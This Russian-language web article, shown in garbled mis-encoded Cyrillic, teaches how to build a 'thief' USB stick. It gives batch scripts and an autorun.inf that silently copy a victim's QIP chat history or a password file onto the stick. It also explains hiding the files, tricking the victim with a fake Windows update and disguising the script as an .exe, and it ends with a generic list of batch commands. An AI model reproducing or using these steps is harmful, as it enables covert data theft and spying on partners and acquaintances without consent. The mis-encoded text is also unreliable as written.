:   17.07.2024 .
:
 
 
* *
01796

×èòàåòå æóðíàë
- Ôëåøêà-âîð: Ïèøåì .bat-ôàéë ñ àâòîçàïóñêîì -
Ôëåøêà-âîð: Ïèøåì .bat-ôàéë ñ àâòîçàïóñêîì
 
Áûâàþò ñèòóàöèè, êîãäà ïîçàðåç íàäî äîáðàòüñÿ äî èíôîðìàöèè, êîòîðàÿ íàõîäèòñÿ íà ÷óæîì êîìïüþòåðå. À ïðÿìîãî äîñòóïà ê êîìïüþòåðó ìû íå èìååì.
 
Íàïðèìåð, ó çíàêîìîãî íàäî ñòÿíóòü òåêñòîâûé ôàéëèê ñ ïàðîëÿìè, êîòîðûé íàõîäèòñÿ íà ðàáî÷åì ñòîëå (ó ìåíÿ ïîëîâèíà çíàêîìûõ õðàíèò ñâîè ëîãèíû è ïàðîëè â áëîêíîòèêå íà ðàáî÷åì ñòîëå. Òàì åñòü è ïàðîëè îò ïî÷òû, è îò àñüêè, è îò ñîöèàëüíûõ ñåòåé).
À çíàêîìûé íè ïîä êàêèì ïðåäëîãîì íå ïóñêàåò Âàñ ê ñâîåìó êîìïüþòåðó. Èëè äðóãàÿ ñèòóàöèÿ. Íàäî óçíàòü ñ êåì è î ÷¸ì îáùàåòñÿ â àñüêå íà ðàáîòå âàøà «âòîðàÿ ïîëîâèíêà»...
Êàê æå áûòü? Âûõîä åñòü è î÷åíü ïðîñòîé! Íàäî íàïèñàòü ñïåöèàëüíûé áàòíèê è çàêèíóòü åãî íà ôëåøêó «æåðòâå». Ïîñëå òîãî, êàê ôëåøêà áóäåò ïîäêëþ÷åíà ê êîìïüþòåðó íàø áàòíèê çàïóñòèòñÿ â íåâèäèìîì ðåæèìå è ñêîïèðóåò âñ¸, ÷òî íàäî, íà ôëåøêó.
Áàòíèê – ýòî îáû÷íûé òåêñòîâûé ôàéë, ñîäåðæàùèé íàáîðû êîìàíä èíòåðïðåòàòîðà è èìåþùèé ðàñøèðåíèå .bat èëè .cmd (.cmd ðàáîòàþò òîëüêî â ÎÑ ñåìåéñòâà NT). Ðåäàêòèðîâàòü òàêèå ôàéëû ìîæíî ïðè ïîìîùè áëîêíîòà èëè ëþáîãî äðóãîãî òåêñòîâîãî ðåäàêòîðà.
 
Ïèøåì áàòíèê
 
Ñîçäàâàòü áàòíèê áóäåì äëÿ âòîðîé ñèòóàöèè (îíà íåìíîãî ñëîæíåå). Äëÿ íàïèñàíèÿ áàòíèêà âîçüì¸ì ñòàíäàðòíûé áëîêíîò.  áëîêíîòå ïðîïèøåì ñëåäóþùèå ñòðîêè:
 
@Echo off
c:
chdir C:Program FilesQIPUsers
f:rar.exe a -r users > nul
copy users.rar g:abc > nul
del users.rar > nul
 
ãäå
 
@Echo off – ñêðûâàåò âèçóàëüíûé ïðîöåññ êîïèðîâàíèÿ
C:Program FilesQIPUsers – ïàïêà, â êîòîðîé íàõîäèòñÿ èñòîðèÿ
f:rar.exe a -r users > nul – çàïóñê àðõèâàòîðà äëÿ óñêîðåíèÿ êîïèðîâàíèÿ
copy users.rar g:abc > nul – àäðåñ êóäà êîïèðóåì
del users.rar > nul – óäàëÿåò ñîçäàííûé àðõèâ íà æåñòêîì äèñêå
 
Íå âñåãäà áûâàåò èçâåñòíà áóêâà ôëåø äèñêà.  òàêîì ñëó÷àå ïðîïèñûâàåì íåñêîëüêî âàðèàíòîâ (îäèí óæ òî÷íî óãàäàåì):
 
@Echo off
c:
chdir C:Program FilesQIPUsers
f:rar.exe a -r users > nul
copy users.rar e:abc > nul
g:rar.exe a -r users > nul
copy users.rar g:abc > nul
h:rar.exe a -r users > nul
copy users.rar h:abc > nul
del users.rar > nul
 
Ñîõðàíÿåì íàø òåêñòîâûé äîêóìåíò. Íàçîâ¸ì åãî xxx.txt. Òåïåðü ìåíÿåì ðàñøèðåíèå ñ .txt íà .bat. Ýòî ìîæíî ñäåëàòü â Total Commander`å.
 
Ñîçäàåì àâòîçàïóñê
 
Òåïåðü íàäî ñäåëàòü òàê, ÷òîáû áàòíèê àâòîìàòè÷åñêè çàïóñêàëñÿ ñ ôëåøêè ïðè ïîäêëþ÷åíèè ê êîìïüþòåðó. Äëÿ ýòîãî ñîçäà¸ì íîâûé òåêñòîâûé äîêóìåíò è ïèøåì â í¸ì:
 
[autorun]
ShellExeCute="xxx.bat"
 
Ñîõðàíÿåì è ïåðåèìåíîâûâàåì íà autorun.inf.
 
Äåëàåì àðõèâ
 
Äàëåå íàì ïðåäñòîèò ïîçàáîòèòñÿ îá àðõèâàòîðå. QIP-èñòîðèÿ ìîæåò áûòü áîëüøàÿ. ×òîáû ïðîöåññ êîïèðîâàíèÿ ïðîèñõîäèë áûñòðåå ìû å¸ çààðõèâèðóåì.
Èç ïàïêè ñ WinRAR (ïî óìîë÷àíèþ Ñ:Program FilesWinRAR) áåð¸ì ôàéëèê rar.exe. Ñîçäà¸ì â êîðíå ôëåøêè ïàïêó ñ èìåíåì abc. Òàêæå, â êîðåíü ôëåøêè áðîñàåì îñòàëüíûå òðè ôàéëà (xxx.bat, autorun.inf, rar.exe).
Âñå ôàéëû ñêðûâàåì îò ïîñòîðîííèõ ãëàç (ïðàâîé êíîïêîé ìûøè âûçûâàåì ìåíþ íà ôàéëå > Ñâîéñòâà > Ñêðûòûé). Ýòî âñ¸. Îòäà¸ì ôëåøêó «æåðòâå» è æä¸ì ðåçóëüòàòà.
 
Ñîöèàëüíàÿ èíæåíåðèÿ
 
Íå îáÿçàòåëüíî äåëàòü àâòîçàïóñê. «Æåðòâà» ñàìà ìîæåò çàïóñòèòü áàòíèê. Äëÿ ýòîãî íàäî âîñïîëüçîâàòüñÿ ñîöèàëüíîé èíæåíåðèåé. Íàïðèìåð, ñîîáùàåì ïîëüçîâàòåëþ î òîì, ÷òî êîìïàíèÿ Microsoft âûïóñòèëà íîâîå îáíîâëåíèå äëÿ Windows. Ýòî îáíîâëåíèå ïîâûøàåò áûñòðîäåéñòâèå è áåçîïàñíîñòü îïåðàöèîííîé ñèñòåìû. Óñòàíàâëèâàòü îáíîâëåíèå íóæíî òîëüêî ñ ôëåøêè.
Ìîæåòå ñàìè ïðèäóìàòü ïðè÷èíó, ïî êîòîðîé íàäî çàïóñòèòü íàø áàòíèê. Âñ¸ çàâèñèò îò âàøåé ôàíòàçèè è ñìåêàëêè.
 
Ïðåâðàùàåì BAT â EXE
 
Äëÿ áîëüøåé «áåçîïàñíîñòè» ïåðåãîíèì .bat â .exe (âäðóã «æåðòâà» çíàêîìà ñ íàïèñàíèåì áàòíèêîâ). Â ýòîì íàì ïîìîæåò íåáîëüøàÿ ïðîãðàììêà ExeScript v3.0.
Ñêà÷àòü ìîæíî çäåñü: http://uploadbox.com/files/c8d5a60af9/ (ðàçìåð 3.51 Má).  îêíå ïðîãðàììû æì¸ì èêîíêó ñ ÷èñòûì ëèñòîì è âûáèðàåì Batch file (bat) èëè File > New > Batch file (bat).  ïîÿâèâøåìñÿ îêíå ïèøåì íàø «òåêñò» (ðèñ. 1).
 
Ôëåøêà-âîð: Ïèøåì .bat-ôàéë ñ àâòîçàïóñêîì 
Ðèñ. 1
 
Òåïåðü óêàæåì äëÿ íàøåãî exe-øíèêà ïîäõîäÿùóþ èêîíêó.  îêíå Properties ù¸ëêàåì íà ïîëå Custom Icon è âûáèðàåì çàðàíåå ïîäãîòîâëåííóþ èêîíêó (ðèñ.2). Äàëåå íàæèìàåì F7 èëè Project > Build. Âñ¸, exe-øíèê ãîòîâ.
 
Ôëåøêà-âîð: Ïèøåì .bat-ôàéë ñ àâòîçàïóñêîì 
Ðèñ. 2
 
Êîìàíäû äëÿ íàïèñàíèÿ bat-ôàéëîâ
 
ASSOC – îòîáðàæàåò èëè ìîäèôèöèðóåò ñâÿçè ðàñøèðåíèé ôàéëîâ
AT – ïëàíèðóåò êîìàíäû è ïðîãðàììû äëÿ âûïîëíåíèÿ íà êîìïüþòåðå.
ATTRIB – îòîáðàæàåò èëè èçìåíÿåò àòðèáóòû ôàéëà.
 
 
 
 
BREAK – óñòàíàâëèâàåò èëè îòìåíÿåò ïðîâåðêó êîìáèíàöèè [Ctrl+C].
CACLS – îòîáðàæàåò èëè ìîäèôèöèðóåò ñïèñêè óïðàâëåíèÿ äîñòóïîì (ACLs) äëÿ ôàéëîâ.
CALL – âûçûâàåò îäèí *.BAT-ôàéë èç äðóãîãî.
CD – îòîáðàæàåò èìÿ èëè èçìåíÿåò èìÿ òåêóùåé äèðåêòîðèè.
CHCP – îòîáðàæàåò èëè óñòàíàâëèâàåò íîìåð àêòèâíîé êîäîâîé ñòðàíèöû.
CHDIR – îòîáðàæàåò èìÿ èëè èçìåíÿåò èìÿ òåêóùåé äèðåêòîðèè.
CHKDSK – ïðîâåðÿåò äèñê è îòîáðàæàåò îò÷åò î ñîñòîÿíèè.
CLS – î÷èùàåò ýêðàí.
CMD – ñòàðòóåò íîâûé ýêçåìïëÿð èíòåðïðåòàòîðà êîìàíä Windows NT.
COLOR – óñòàíàâëèâàåò öâåòà ïî óìîë÷àíèþ äëÿ ïåðåäíåãî è çàäíåãî ïëàíà êîíñîëè.
COMMAND – ñòàðòóåò íîâóþ êîïèþ èíòåðïðåòàòîðà êîìàíä Windows.
COMP – ñðàâíèâàåò ñîäåðæèìîå äâóõ ôàéëîâ èëè óñòàíîâêè ôàéëîâ.
COMPACT – îòîáðàæàåò èëè âèäîèçìåíÿåò ñæàòèå ôàéëîâ íà ïàðòèöèÿõ Windows NT(NTFS).
CONVERT – êîíâåðòèðóåò FAT òîìîâ ê ôîðìàòó ôàéëîâîé ñèñòåìû Windows NT(NTFS). Âû íå ìîæåòå êîíâåðòèðîâàòü òåêóùèé äèñê.
COPY – êîïèðóåò îäèí èëè áîëüøå ôàéëîâ â äðóãîå ìåñòî.
CTTY – èçìåíÿåò òåðìèíàëüíîå óñòðîéñòâî, èñïîëüçóåìîå äëÿ óïðàâëåíèÿ âàøåé ñèñòåìîé.
DATE – îòîáðàæàåò èëè óñòàíàâëèâàåò äàòó.
DEL – óäàëÿåò îäèí èëè áîëåå ôàéëîâ.
DEBUG – âûïîëíÿåò îòëàäêó, òåñòèðîâàíèå ïðîãðàìì è ðåäàêòèðîâàíèå èíñòðóìåíòàëüíûõ ñðåäñòâ.
DIR – îòîáðàæàåò ñïèñîê ôàéëîâ è ïîääèðåêòîðèé â äèðåêòîðèè.
DISKCOMP – ñðàâíèâàåò ñîäåðæèìîå äâóõ äèñêåò.
DISKCOPY – êîïèðóåò ñîäåðæèìîå îäíîé äèñêåòû íà äðóãóþ.
DOSKEY – ðåäàêòèðóåò êîìàíäíûå ñòðîêè, âîññòàíàâëèâàåò êîìàíäû Windows è ñîçäàåò ìàêðîñ.
ECHO – îòîáðàæàåò ñîîáùåíèÿ, èëè âêëþ÷àåò/âûêëþ÷àåò âûâîä êîìàíä.
EMM386 – âêëþ÷àåò/âûêëþ÷àåò ïîääåðæêó ðàñøèðåííîé ïàìÿòè EMM386.
ENDLOCAL – çàêàí÷èâàåò ëîêàëèçàöèþ èçìåíåíèé îêðóæàþùåé ñðåäû â *.BAT-ôàéëå.
ERASE – óäàëÿåò îäèí èëè áîëåå ôàéëîâ.
EXIT – ïðåêðàùàåò âûïîëíåíèå ïðîãðàììû (èíòåðïðåòàòîð êîìàíä).
EXTRACT – ñðåäñòâî èçâëå÷åíèÿ èíôîðìàöèè èç CAB - ôàéëîâ.
FC – ñðàâíèâàåò äâà ôàéëà èëè óñòàíîâêè ôàéëîâ, è îòîáðàæàåò ðàçëè÷èå ìåæäó íèìè.
FIND – èùåò òåêñòîâóþ ñòðîêó â ôàéëå èëè ôàéëàõ.
FINDSTR – ïîèñê ñòðîê â ôàéëàõ.
FOR – âûïîëíÿåò óêàçàííóþ êîìàíäó äëÿ êàæäîãî ôàéëà â íàáîðå ôàéëîâ.
FORMAT – ôîðìàòèðóåò äèñê äëÿ èñïîëüçîâàíèÿ ñ Windows.
FTYPE – îòîáðàæàåò èëè ìîäèôèöèðóåò òèïû ôàéëîâ, èñïîëüçóåìûõ â ñâÿçÿõ ðàñøèðåíèé.
GOTO – íàïðàâëÿåò èíòåðïðåòàòîð êîìàíä Windows NT ê ïîìå÷åííîé ñòðîêå â *.BAT-ôàéëå.
GRAFTABL – ñïîñîáíîñòü Windows îòîáðàæàòü ñèìâîëû ïñåâäîãðàôèêè, âñòàâëåííûå â ãðàôè÷åñêîì ðåæèìå.
HELP – îáåñïå÷èâàåò èíôîðìàöèþ Help äëÿ êîìàíä Windows.
IF – âûïîëíÿåò îáðàáîòêó óñëîâèÿ â *.BAT-ôàéëå.
KEYB – êîíôèãóðèðóåò êëàâèàòóðó äëÿ çàäàííîãî ÿçûêà.
LABEL – ñîçäàåò, èçìåíÿåò, èëè óäàëÿåò ìåòêó òîìà íà äèñêå.
MD – ñîçäàåò äèðåêòîðèþ.
MEM – îòîáðàæàåò âåëè÷èíó èñïîëüçóåìîé è ñâîáîäíîé ïàìÿòè â âàøåé ñèñòåìå.
MKDIR – ñîçäàåò äèðåêòîðèþ.
MODE – êîíôèãóðèðóåò ñèñòåìíîå óñòðîéñòâî.
MORE – îòîáðàæàåò âûâîä îäíîãî ýêðàíà çà ðàç.
MOVE – ïåðåìåùàåò îäèí èëè áîëåå ôàéëîâ èç îäíîé äèðåêòîðèè â äðóãóþ íà òîì æå äèñêå.
NETSTAT – îòîáðàæàåò ñòàòèñòèêè ïðîòîêîëîâ è òåêóùèõ ñåòåâûõ ñîåäèíåíèé TCP/IP.
NLSFUNC – çàãðóæàåò èíôîðìàöèþ, ñïåöèôè÷åñêóþ äëÿ ñòðàíû.
PATH – îòîáðàæàåò èëè óñòàíàâëèâàåò ïóòü ïîèñêà äëÿ âûïîëíÿåìûõ ôàéëîâ.
PAUSE – ïðèîñòàíàâëèâàåò îáðàáîòêó *.BAT-ôàéëà è îòîáðàæàåò ñîîáùåíèå.
POPD – âîññòàíàâëèâàåò ïðåäûäóùåå çíà÷åíèå òåêóùåé äèðåêòîðèè, ñîõðàíåííîé ïî PUSHD.
PRINT – ïå÷àòàåò òåêñòîâûé ôàéë.
PROMPT – èçìåíÿåò ïîäñêàçêó ê êîìàíäàì Windows.
PUSHD – ñîõðàíÿåò òåêóùóþ äèðåêòîðèþ, ïîòîì èçìåíÿåò.
RD – óäàëÿåò äèðåêòîðèþ.
RECOVER – âîññòàíàâëèâàåò ÷èòàåìóþ èíôîðìàöèþ ñ ïëîõîãî èëè äåôåêòíîãî äèñêà.
REM – çàïèñûâàåò êîììåíòàðèè (ïðèìå÷àíèÿ) â *.BAT-ôàéëû èëè CONFIG.SYS.
REN – ïåðåèìåíóåò ôàéë èëè ôàéëû.
RENAME – ïåðåèìåíóåò ôàéë èëè ôàéëû.
REPLACE – çàìåíÿåò ôàéëû.
RESTORE – âîññòàíàâëèâàåò ôàéëû, êîòîðûå áûëè àðõèâèðîâàíû ñ èñïîëüçîâàíèåì êîìàíäû BACKUP.
RMDIR – óäàëÿåò äèðåêòîðèþ.
SET – îòîáðàæàåò, óñòàíàâëèâàåò èëè óäàëÿåò ïåðåìåííûå ñðåäû Windows.
SETLOCAL – íà÷èíàåò ëîêàëèçàöèþ èçìåíåíèé ñðåäû â *.BAT-ôàéëå.
SETVER – óñòàíàâëèâàåò íîìåð âåðñèè MS-DOS, êîòîðûé Windows ñîîáùàåò ïðîãðàììå.
SHIFT – ñäâèãàåò ïîçèöèþ çàìåùàåìûõ ïàðàìåòðîâ â *.BAT-ôàéëå.
SMARTDRV – èíñòàëëèðóåò è êîíôèãóðèðóåò óòèëèòó êýøèðîâàíèÿ äèñêà SMART-äðàéâà.
SORT – ñîðòèðóåò âõîäíîé ïîòîê.
START – ñòàðòóåò îòäåëüíîå îêíî äëÿ âûïîëíåíèÿ óêàçàííîé ïðîãðàììû èëè êîìàíäû.
SUBST – ñâÿçûâàåò ïóòü ñ ëèòåðîé äèñêà.
SYS – êîïèðóåò ôàéëû ñèñòåìû MS-DOS è èíòåðïðåòàòîð êîìàíä íà óêàçàííûé âàìè äèñê.
TIME – îòîáðàæàåò èëè óñòàíàâëèâàåò ñèñòåìíîå âðåìÿ.
TITLE – óñòàíàâëèâàåò çàãîëîâîê îêíà äëÿ ñåàíñà.
TREE – ãðàôè÷åñêè îòîáðàæàåò ñòðóêòóðó äèðåêòîðèÿ â äðàéâå èëè ïóòü.
TYPE – îòîáðàæàåò ñîäåðæèìîå òåêñòîâîãî ôàéëà.
VER – îòîáðàæàåò âåðñèþ Windows.
VERIFY – ñîîáùàåò Windows, ïðîâåðÿòü ëè ïðàâèëüíîñòü çàïèñè ôàéëîâ íà äèñê.
VOL – îòîáðàæàåò ìåòêó äèñêîâîãî òîìà è ñåðèéíûé íîìåð.
XCOPY – êîïèðóåò ôàéëû è äåðåâüÿ äèðåêòîðèè.
 
Æåëàþ óäà÷è!

 
 
 
 
2009 - 2024 © ..
.
"" .
Comput.com.ua, .
 @Mail.ru   YandeG